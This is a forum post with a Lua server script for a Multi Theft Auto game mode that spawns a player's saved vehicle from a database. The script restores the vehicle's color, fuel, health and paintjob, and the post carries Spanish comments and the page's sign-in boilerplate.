   addEventHandler("SpawnMyVehicle", root, 
      function(id)
         if not playerVehicles[client] then 
		    playerVehicles[client] = {} 
		 end
		 
		 local vehicle = getVehicleByID(id) -- aca buscamos el vehículo con el id 
		 
		 if vehicle then  -- comprabamos si esta creado 
			local x, y, z = getElementPosition(client) 
			local _, _, r = getElementRotation(client)		 
		    setElementPosition(vehicle, x, y, z) -- mandamos el vehículo a la posición del jugador
			setElementRotation(vehicle, 0, 0, r)
		    exports.Script_Textos:createNewDxMessage("Su Vehiculo Ha Sido Spawneado", client, 255, 85, 0, true)

		 else 
		    if #playerVehicles[client] >= 1 then -- esta funcion deberia ir aqui para que no deje crear un vehículo nuevo
		 	   exports.Script_Textos:createNewDxMessage("Solo Puedes Spawnear Un Vehiculos a La Vez", client, 255, 85, 0, true)
		       return 
		    end 		 
		    -- de lo contrario lo creamos 
		    -- si ya esta creado no necesitaremos los datos del sql por eso lo traslade a cuando lo necesitamos 
			local data = dbPoll(dbQuery(db, "SELECT * FROM VehicleList WHERE Account = ? AND ID = ?", getAccountName(getPlayerAccount(client)), id), -1) 
            if data ~= nil and type(data) == "table" and #data ~= 0 then
			   local color   =  split(data[1]["Colors"], ',')
			   local x, y, z = getElementPosition(client) 
			   local _, _, r = getElementRotation(client)
			   
			   local vehicle = createVehicle(data[1]["Model"], x, y, z, 0, 0, r)
			   if vehicle then 
			      local fuelnu  = data[1]["fuel"] or 100
			      local tune    = fromJSON(data[1]["handling"])
				  local Paintjob = data[1]["Paintjob"] or 3
			      --outputChatBox(data[1]["handling"],source,255,0,0)
			      --outputChatBox(tostring(tune),source,255,0,255)
			      setVehicleColor(vehicle, color[1] or 255, color[2] or 255, color[3] or 255, color[4] or 255, color[5] or 255, color[6] or 255)

			      setElementData(vehicle, "ID", id)
			      setElementData(vehicle, "vehicleFuel", fuelnu)
			      table.insert(playerVehicles[client],vehicle)
                  
				  setVehiclePaintjob(vehicle, Paintjob) 
		          if data[1]["HP"] <= 255.5 then 
				     data[1]["HP"] = 255 
			      end
                  setElementHealth(vehicle, data[1]["HP"])
                  setElementData(vehicle, "Owner", client)
                  vv[vehicle] = setTimer(
				      function(vehicle)
                         if not isElement(vehicle) then 
						    killTimer(vv[vehicle]) vv[vehicle] = nil 
					     end
                         if isElement(vehicle) and getElementHealth(vehicle) <= 255 then
                            setElementHealth(vehicle, 255.5)
                            -- setVehicleDamageProof(vehicle, true)
                            setVehicleEngineState(vehicle, false)
                         end
                      end
				   , 50, 0, vehicle)	
                  addEventHandler("onVehicleDamage", vehicle,
                     function(loss)
                         local account = getAccountName(getPlayerAccount(getElementData(source, "Owner")))
                         setTimer(
						     function(source) 
							    if isElement(source) then 
								    dbExec(db, "UPDATE VehicleList SET HP = ? WHERE Account = ? AND Model = ?", getElementHealth(source), account, getElementModel(source)) updateVehicleInfo(getElementData(source, "Owner")) 
							    end 
							 end, 100, 1, source)
                     end)
                  addEventHandler("onVehicleEnter", vehicle,
                     function(player)
                        if getElementHealth(source) <= 255.5 then 
                           setVehicleEngineState(source, false)
                        else
                           if isVehicleDamageProof(source) then
                              setVehicleDamageProof(source, false)
                           end
                        end
                   end)	
                   exports.Script_Textos:createNewDxMessage("Tu Vehiculo Ha Sido Spawneado", client, 255, 85, 0, true)
		    	   cur = getElementData(client,"spawnedcars") or {}
			       table.insert(cur,getVehicleNameFromModel(data[1]["Model"]))
			      setElementData(client,"spawnedcars",cur)				   
			   end 
			else 
			   exports.Script_Textos:createNewDxMessage("Ocurrio Un Error", client, 255, 85, 0, true)
            end 
		 end 
      end
   )

 

Edited by alex17"
Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...